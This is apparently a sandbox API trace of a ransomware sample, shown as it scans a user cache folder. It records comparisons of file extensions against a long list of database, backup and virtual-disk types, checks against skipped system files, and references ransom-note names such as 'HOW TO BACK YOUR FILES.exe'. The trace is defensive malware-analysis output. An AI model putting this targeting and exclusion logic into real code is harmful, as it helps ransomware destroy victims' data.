	[0044.112] lstrcmpiW (lpString1="D91B", lpString2="dtsx") returned -1
	[0044.112] lstrlenW (lpString="dxl") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dxl") returned -1
	[0044.112] lstrlenW (lpString="eco") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="eco") returned -1
	[0044.112] lstrlenW (lpString="ecx") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="ecx") returned -1
	[0044.112] lstrlenW (lpString="edb") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="edb") returned -1
	[0044.112] lstrlenW (lpString="epim") returned 4
	[0044.112] lstrcmpiW (lpString1="D91B", lpString2="epim") returned -1
	[0044.112] lstrlenW (lpString="fcd") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="fcd") returned -1
	[0044.112] lstrlenW (lpString="fdb") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="fdb") returned -1
	[0044.112] lstrlenW (lpString="fic") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="fic") returned -1
	[0044.112] lstrlenW (lpString="flexolibrary") returned 12
	[0044.112] lstrcmpiW (lpString1="3D29BE09D91B", lpString2="flexolibrary") returned -1
	[0044.113] lstrlenW (lpString="fm5") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fm5") returned -1
	[0044.113] lstrlenW (lpString="fmp") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fmp") returned -1
	[0044.113] lstrlenW (lpString="fmp12") returned 5
	[0044.113] lstrcmpiW (lpString1="9D91B", lpString2="fmp12") returned -1
	[0044.113] lstrlenW (lpString="fmpsl") returned 5
	[0044.113] lstrcmpiW (lpString1="9D91B", lpString2="fmpsl") returned -1
	[0044.113] lstrlenW (lpString="fol") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fol") returned -1
	[0044.113] lstrlenW (lpString="fp3") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fp3") returned -1
	[0044.113] lstrlenW (lpString="fp4") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fp4") returned -1
	[0044.113] lstrlenW (lpString="fp5") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fp5") returned -1
	[0044.113] lstrlenW (lpString="fp7") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fp7") returned -1
	[0044.113] lstrlenW (lpString="fpt") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="fpt") returned -1
	[0044.113] lstrlenW (lpString="frm") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="frm") returned -1
	[0044.113] lstrlenW (lpString="gdb") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="gdb") returned -1
	[0044.113] lstrlenW (lpString="gdb") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="gdb") returned -1
	[0044.113] lstrlenW (lpString="grdb") returned 4
	[0044.113] lstrcmpiW (lpString1="D91B", lpString2="grdb") returned -1
	[0044.113] lstrlenW (lpString="gwi") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="gwi") returned -1
	[0044.113] lstrlenW (lpString="hdb") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="hdb") returned -1
	[0044.113] lstrlenW (lpString="his") returned 3
	[0044.113] lstrcmpiW (lpString1="91B", lpString2="his") returned -1
	[0044.114] lstrlenW (lpString="ib") returned 2
	[0044.114] lstrcmpiW (lpString1="1B", lpString2="ib") returned -1
	[0044.114] lstrlenW (lpString="idb") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="idb") returned -1
	[0044.114] lstrlenW (lpString="ihx") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="ihx") returned -1
	[0044.114] lstrlenW (lpString="itdb") returned 4
	[0044.114] lstrcmpiW (lpString1="D91B", lpString2="itdb") returned -1
	[0044.114] lstrlenW (lpString="itw") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="itw") returned -1
	[0044.114] lstrlenW (lpString="jet") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="jet") returned -1
	[0044.114] lstrlenW (lpString="jtx") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="jtx") returned -1
	[0044.114] lstrlenW (lpString="kdb") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="kdb") returned -1
	[0044.114] lstrlenW (lpString="kexi") returned 4
	[0044.114] lstrcmpiW (lpString1="D91B", lpString2="kexi") returned -1
	[0044.114] lstrlenW (lpString="kexic") returned 5
	[0044.114] lstrcmpiW (lpString1="9D91B", lpString2="kexic") returned -1
	[0044.114] lstrlenW (lpString="kexis") returned 5
	[0044.114] lstrcmpiW (lpString1="9D91B", lpString2="kexis") returned -1
	[0044.114] lstrlenW (lpString="lgc") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="lgc") returned -1
	[0044.114] lstrlenW (lpString="lwx") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="lwx") returned -1
	[0044.114] lstrlenW (lpString="maf") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="maf") returned -1
	[0044.114] lstrlenW (lpString="maq") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="maq") returned -1
	[0044.114] lstrlenW (lpString="mar") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="mar") returned -1
	[0044.114] lstrlenW (lpString="marshal") returned 7
	[0044.114] lstrcmpiW (lpString1="E09D91B", lpString2="marshal") returned -1
	[0044.114] lstrlenW (lpString="mas") returned 3
	[0044.114] lstrcmpiW (lpString1="91B", lpString2="mas") returned -1
	[0044.115] lstrlenW (lpString="mav") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mav") returned -1
	[0044.115] lstrlenW (lpString="maw") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="maw") returned -1
	[0044.115] lstrlenW (lpString="mdbhtml") returned 7
	[0044.115] lstrcmpiW (lpString1="E09D91B", lpString2="mdbhtml") returned -1
	[0044.115] lstrlenW (lpString="mdn") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mdn") returned -1
	[0044.115] lstrlenW (lpString="mdt") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mdt") returned -1
	[0044.115] lstrlenW (lpString="mfd") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mfd") returned -1
	[0044.115] lstrlenW (lpString="mpd") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mpd") returned -1
	[0044.115] lstrlenW (lpString="mrg") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mrg") returned -1
	[0044.115] lstrlenW (lpString="mud") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mud") returned -1
	[0044.115] lstrlenW (lpString="mwb") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="mwb") returned -1
	[0044.115] lstrlenW (lpString="myd") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="myd") returned -1
	[0044.115] lstrlenW (lpString="ndf") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="ndf") returned -1
	[0044.115] lstrlenW (lpString="nnt") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="nnt") returned -1
	[0044.115] lstrlenW (lpString="nrmlib") returned 6
	[0044.115] lstrcmpiW (lpString1="09D91B", lpString2="nrmlib") returned -1
	[0044.115] lstrlenW (lpString="ns2") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="ns2") returned -1
	[0044.115] lstrlenW (lpString="ns3") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="ns3") returned -1
	[0044.115] lstrlenW (lpString="ns4") returned 3
	[0044.115] lstrcmpiW (lpString1="91B", lpString2="ns4") returned -1
	[0044.115] lstrlenW (lpString="nsf") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="nsf") returned -1
	[0044.116] lstrlenW (lpString="nv") returned 2
	[0044.116] lstrcmpiW (lpString1="1B", lpString2="nv") returned -1
	[0044.116] lstrlenW (lpString="nv2") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="nv2") returned -1
	[0044.116] lstrlenW (lpString="nwdb") returned 4
	[0044.116] lstrcmpiW (lpString1="D91B", lpString2="nwdb") returned -1
	[0044.116] lstrlenW (lpString="nyf") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="nyf") returned -1
	[0044.116] lstrlenW (lpString="odb") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="odb") returned -1
	[0044.116] lstrlenW (lpString="odb") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="odb") returned -1
	[0044.116] lstrlenW (lpString="oqy") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="oqy") returned -1
	[0044.116] lstrlenW (lpString="ora") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="ora") returned -1
	[0044.116] lstrlenW (lpString="orx") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="orx") returned -1
	[0044.116] lstrlenW (lpString="owc") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="owc") returned -1
	[0044.116] lstrlenW (lpString="p96") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="p96") returned -1
	[0044.116] lstrlenW (lpString="p97") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="p97") returned -1
	[0044.116] lstrlenW (lpString="pan") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="pan") returned -1
	[0044.116] lstrlenW (lpString="pdb") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="pdb") returned -1
	[0044.116] lstrlenW (lpString="pdm") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="pdm") returned -1
	[0044.116] lstrlenW (lpString="pnz") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="pnz") returned -1
	[0044.116] lstrlenW (lpString="qry") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="qry") returned -1
	[0044.116] lstrlenW (lpString="qvd") returned 3
	[0044.116] lstrcmpiW (lpString1="91B", lpString2="qvd") returned -1
	[0044.117] lstrlenW (lpString="rbf") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="rbf") returned -1
	[0044.117] lstrlenW (lpString="rctd") returned 4
	[0044.117] lstrcmpiW (lpString1="D91B", lpString2="rctd") returned -1
	[0044.117] lstrlenW (lpString="rod") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="rod") returned -1
	[0044.117] lstrlenW (lpString="rodx") returned 4
	[0044.117] lstrcmpiW (lpString1="D91B", lpString2="rodx") returned -1
	[0044.117] lstrlenW (lpString="rpd") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="rpd") returned -1
	[0044.117] lstrlenW (lpString="rsd") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="rsd") returned -1
	[0044.117] lstrlenW (lpString="sas7bdat") returned 8
	[0044.117] lstrcmpiW (lpString1="BE09D91B", lpString2="sas7bdat") returned -1
	[0044.117] lstrlenW (lpString="sbf") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="sbf") returned -1
	[0044.117] lstrlenW (lpString="scx") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="scx") returned -1
	[0044.117] lstrlenW (lpString="sdb") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="sdb") returned -1
	[0044.117] lstrlenW (lpString="sdc") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="sdc") returned -1
	[0044.117] lstrlenW (lpString="sdf") returned 3
	[0044.117] lstrcmpiW (lpString1="91B", lpString2="sdf") returned -1
	[0044.122] lstrlenW (lpString="sis") returned 3
	[0044.122] lstrcmpiW (lpString1="91B", lpString2="sis") returned -1
	[0044.122] lstrlenW (lpString="spq") returned 3
	[0044.122] lstrcmpiW (lpString1="91B", lpString2="spq") returned -1
	[0044.122] lstrlenW (lpString="te") returned 2
	[0044.122] lstrcmpiW (lpString1="1B", lpString2="te") returned -1
	[0044.122] lstrlenW (lpString="teacher") returned 7
	[0044.122] lstrcmpiW (lpString1="E09D91B", lpString2="teacher") returned -1
	[0044.122] lstrlenW (lpString="tmd") returned 3
	[0044.122] lstrcmpiW (lpString1="91B", lpString2="tmd") returned -1
	[0044.122] lstrlenW (lpString="tps") returned 3
	[0044.122] lstrcmpiW (lpString1="91B", lpString2="tps") returned -1
	[0044.122] lstrlenW (lpString="trc") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="trc") returned -1
	[0044.123] lstrlenW (lpString="trc") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="trc") returned -1
	[0044.123] lstrlenW (lpString="trm") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="trm") returned -1
	[0044.123] lstrlenW (lpString="udb") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="udb") returned -1
	[0044.123] lstrlenW (lpString="udl") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="udl") returned -1
	[0044.123] lstrlenW (lpString="usr") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="usr") returned -1
	[0044.123] lstrlenW (lpString="v12") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="v12") returned -1
	[0044.123] lstrlenW (lpString="vis") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="vis") returned -1
	[0044.123] lstrlenW (lpString="vpd") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="vpd") returned -1
	[0044.123] lstrlenW (lpString="vvv") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="vvv") returned -1
	[0044.123] lstrlenW (lpString="wdb") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="wdb") returned -1
	[0044.123] lstrlenW (lpString="wmdb") returned 4
	[0044.123] lstrcmpiW (lpString1="D91B", lpString2="wmdb") returned -1
	[0044.123] lstrlenW (lpString="wrk") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="wrk") returned -1
	[0044.123] lstrlenW (lpString="xdb") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="xdb") returned -1
	[0044.123] lstrlenW (lpString="xld") returned 3
	[0044.123] lstrcmpiW (lpString1="91B", lpString2="xld") returned -1
	[0044.123] lstrlenW (lpString="xmlff") returned 5
	[0044.123] lstrcmpiW (lpString1="9D91B", lpString2="xmlff") returned -1
	[0044.123] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1
	[0044.123] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.123] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="Apollon865.txt.exe") returned -1
	[0044.123] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".") returned 1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="..") returned 1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="windows") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="bootmgr") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="temp") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="pagefile.sys") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="boot") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="ids.txt") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="ntuser.dat") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="perflogs") returned -1
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="MSBuild") returned -1
	[0044.124] lstrlenW (lpString="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 65
	[0044.124] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 148
	[0044.124] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" | out: lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875"
	[0044.124] lstrlenW (lpString="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 65
	[0044.124] lstrlenW (lpString="Apollon865") returned 10
	[0044.124] lstrcmpiW (lpString1="1BCE81F875", lpString2="Apollon865") returned -1
	[0044.124] lstrlenW (lpString=".dll") returned 4
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".dll") returned 1
	[0044.124] lstrlenW (lpString=".lnk") returned 4
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".lnk") returned 1
	[0044.124] lstrlenW (lpString=".ini") returned 4
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".ini") returned 1
	[0044.124] lstrlenW (lpString=".sys") returned 4
	[0044.124] lstrcmpiW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2=".sys") returned 1
	[0044.124] lstrlenW (lpString="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 65
	[0044.124] lstrlenW (lpString="bak") returned 3
	[0044.124] lstrcmpiW (lpString1="875", lpString2="bak") returned -1
	[0044.124] lstrlenW (lpString="ba_") returned 3
	[0044.124] lstrcmpiW (lpString1="875", lpString2="ba_") returned -1
	[0044.124] lstrlenW (lpString="dbb") returned 3
	[0044.124] lstrcmpiW (lpString1="875", lpString2="dbb") returned -1
	[0044.124] lstrlenW (lpString="vmdk") returned 4
	[0044.124] lstrcmpiW (lpString1="F875", lpString2="vmdk") returned -1
	[0044.124] lstrlenW (lpString="rar") returned 3
	[0044.124] lstrcmpiW (lpString1="875", lpString2="rar") returned -1
	[0044.124] lstrlenW (lpString="zip") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="zip") returned -1
	[0044.125] lstrlenW (lpString="tgz") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="tgz") returned -1
	[0044.125] lstrlenW (lpString="vbox") returned 4
	[0044.125] lstrcmpiW (lpString1="F875", lpString2="vbox") returned -1
	[0044.125] lstrlenW (lpString="vdi") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="vdi") returned -1
	[0044.125] lstrlenW (lpString="vhd") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="vhd") returned -1
	[0044.125] lstrlenW (lpString="vhdx") returned 4
	[0044.125] lstrcmpiW (lpString1="F875", lpString2="vhdx") returned -1
	[0044.125] lstrlenW (lpString="avhd") returned 4
	[0044.125] lstrcmpiW (lpString1="F875", lpString2="avhd") returned 1
	[0044.125] lstrlenW (lpString="db") returned 2
	[0044.125] lstrcmpiW (lpString1="75", lpString2="db") returned -1
	[0044.125] lstrlenW (lpString="db2") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="db2") returned -1
	[0044.125] lstrlenW (lpString="db3") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="db3") returned -1
	[0044.125] lstrlenW (lpString="dbf") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="dbf") returned -1
	[0044.125] lstrlenW (lpString="mdf") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="mdf") returned -1
	[0044.125] lstrlenW (lpString="mdb") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="mdb") returned -1
	[0044.125] lstrlenW (lpString="sql") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="sql") returned -1
	[0044.125] lstrlenW (lpString="sqlite") returned 6
	[0044.125] lstrcmpiW (lpString1="81F875", lpString2="sqlite") returned -1
	[0044.125] lstrlenW (lpString="sqlite3") returned 7
	[0044.125] lstrcmpiW (lpString1="E81F875", lpString2="sqlite3") returned -1
	[0044.125] lstrlenW (lpString="sqlitedb") returned 8
	[0044.125] lstrcmpiW (lpString1="CE81F875", lpString2="sqlitedb") returned -1
	[0044.125] lstrlenW (lpString="xml") returned 3
	[0044.125] lstrcmpiW (lpString1="875", lpString2="xml") returned -1
	[0044.126] lstrlenW (lpString="$er") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="$er") returned 1
	[0044.126] lstrlenW (lpString="4dd") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="4dd") returned 1
	[0044.126] lstrlenW (lpString="4dl") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="4dl") returned 1
	[0044.126] lstrlenW (lpString="^^^") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="^^^") returned 1
	[0044.126] lstrlenW (lpString="abs") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="abs") returned -1
	[0044.126] lstrlenW (lpString="abx") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="abx") returned -1
	[0044.126] lstrlenW (lpString="accdb") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accdb") returned -1
	[0044.126] lstrlenW (lpString="accdc") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accdc") returned -1
	[0044.126] lstrlenW (lpString="accde") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accde") returned -1
	[0044.126] lstrlenW (lpString="accdr") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accdr") returned -1
	[0044.126] lstrlenW (lpString="accdt") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accdt") returned -1
	[0044.126] lstrlenW (lpString="accdw") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accdw") returned -1
	[0044.126] lstrlenW (lpString="accft") returned 5
	[0044.126] lstrcmpiW (lpString1="1F875", lpString2="accft") returned -1
	[0044.126] lstrlenW (lpString="adb") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="adb") returned -1
	[0044.126] lstrlenW (lpString="adb") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="adb") returned -1
	[0044.126] lstrlenW (lpString="ade") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="ade") returned -1
	[0044.126] lstrlenW (lpString="adf") returned 3
	[0044.126] lstrcmpiW (lpString1="875", lpString2="adf") returned -1
	[0044.126] lstrlenW (lpString="adn") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="adn") returned -1
	[0044.127] lstrlenW (lpString="adp") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="adp") returned -1
	[0044.127] lstrlenW (lpString="alf") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="alf") returned -1
	[0044.127] lstrlenW (lpString="ask") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="ask") returned -1
	[0044.127] lstrlenW (lpString="btr") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="btr") returned -1
	[0044.127] lstrlenW (lpString="cat") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="cat") returned -1
	[0044.127] lstrlenW (lpString="cdb") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="cdb") returned -1
	[0044.127] lstrlenW (lpString="ckp") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="ckp") returned -1
	[0044.127] lstrlenW (lpString="cma") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="cma") returned -1
	[0044.127] lstrlenW (lpString="cpd") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="cpd") returned -1
	[0044.127] lstrlenW (lpString="dacpac") returned 6
	[0044.127] lstrcmpiW (lpString1="81F875", lpString2="dacpac") returned -1
	[0044.127] lstrlenW (lpString="dad") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="dad") returned -1
	[0044.127] lstrlenW (lpString="dadiagrams") returned 10
	[0044.127] lstrcmpiW (lpString1="1BCE81F875", lpString2="dadiagrams") returned -1
	[0044.127] lstrlenW (lpString="daschema") returned 8
	[0044.127] lstrcmpiW (lpString1="CE81F875", lpString2="daschema") returned -1
	[0044.127] lstrlenW (lpString="db-journal") returned 10
	[0044.127] lstrcmpiW (lpString1="1BCE81F875", lpString2="db-journal") returned -1
	[0044.127] lstrlenW (lpString="db-shm") returned 6
	[0044.127] lstrcmpiW (lpString1="81F875", lpString2="db-shm") returned -1
	[0044.127] lstrlenW (lpString="db-wal") returned 6
	[0044.127] lstrcmpiW (lpString1="81F875", lpString2="db-wal") returned -1
	[0044.127] lstrlenW (lpString="dbc") returned 3
	[0044.127] lstrcmpiW (lpString1="875", lpString2="dbc") returned -1
	[0044.127] lstrlenW (lpString="dbs") returned 3
	[0044.128] lstrcmpiW (lpString1="875", lpString2="dbs") returned -1
	[0044.128] lstrlenW (lpString="dbt") returned 3
	[0044.128] lstrcmpiW (lpString1="875", lpString2="dbt") returned -1
	[0044.128] lstrlenW (lpString="dbv") returned 3
	[0044.128] lstrcmpiW (lpString1="875", lpString2="dbv") returned -1
	[0044.128] lstrlenW (lpString="dbx") returned 3
	[0044.128] lstrcmpiW (lpString1="875", lpString2="dbx") returned -1
	[0044.128] lstrlenW (lpString="dcb") returned 3
	[0044.128] lstrcmpiW (lpString1="875", lpString2="dcb") returned -1
	[0044.128] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" | out: lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973"
	[0044.128] lstrlenW (lpString="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 65
	[0044.128] lstrlenW (lpString="Apollon865") returned 10
	[0044.128] lstrcmpiW (lpString1="96D21D7973", lpString2="Apollon865") returned -1
	[0044.128] lstrlenW (lpString=".dll") returned 4
	[0044.128] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".dll") returned 1
	[0044.128] lstrlenW (lpString=".lnk") returned 4
	[0044.128] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".lnk") returned 1
	[0044.128] lstrlenW (lpString=".ini") returned 4
	[0044.128] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".ini") returned 1
	[0044.128] lstrlenW (lpString=".sys") returned 4
	[0044.128] lstrcmpiW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2=".sys") returned 1
	[0044.128] lstrlenW (lpString="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 65
	[0044.128] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406" | out: lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="1DAF2884EC4DFA96BA4A58D4DBC9C406"
